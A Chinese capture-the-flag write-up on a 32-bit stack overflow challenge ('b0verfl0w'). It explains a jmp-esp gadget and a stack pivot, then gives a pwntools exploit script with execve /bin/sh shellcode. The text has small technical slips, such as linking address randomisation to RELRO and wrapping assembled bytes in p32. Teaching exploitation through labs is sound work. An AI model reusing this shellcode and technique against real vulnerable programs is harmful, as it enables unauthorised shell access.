0x01 解题思路
- 查看文件信息
没有开NX,可以向栈上写入shellcode。防护措施只开了一个Partial RELRO,这意味着每次栈加载的地址会变化。 - 拖入IDA 32 bits查看
main函数里只有一个vuln函数
显然存在栈溢出,但是只能输入50个字节,而填充的padding字段就需要0x20+4=36个字节,再加上EIP,一共40个字节,只有10个字节的shellcode基本找不到,所以需要考虑把shellcode放在payload的起始处,然后通过ROP跳转到输入点处执行shellcode。
在不知道栈的确切地址的情况下,假设把shellcode附在payload的最后,如何获取shellcode地址呢?这里就需要一个简单的gadget:jmp esp。因为函数返回时的ret指令相当于pop eip;jmp eip,因此如果将记录返回后eip的内容替换为jmp esp这个gadget的地址,那么就会执行这个语句,而此时的esp刚好指向addr(jmp esp)的下一个位置,也就是跳转到之后栈上的语句执行,这样把shellcode放在此处就可以了。
本题需要增加一个环节,也就是一个简单的stack pivot(栈指针劫持),把addr(jmp exp)之后的内存放上sub esp,0x28;jmp esp这两句代码,就可以跳转到输入点执行shellcode了。 - 使用ROPgadget搜索jmp esp
- 使用pwntools的pwnlib库里的asm/disasm可进行汇编/反汇编
0x02 EXP
from pwn import *
io = process('./b0verfl0w')
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp_addr = 0x08048504
offset = 0x20
payload = shellcode
payload += 'A'*(offset-len(shellcode))
payload += 'BBBB'
payload += p32(jmp_esp_addr)
payload += p32(sub_esp_jmp)
io.sendline(payload)
io.interactive()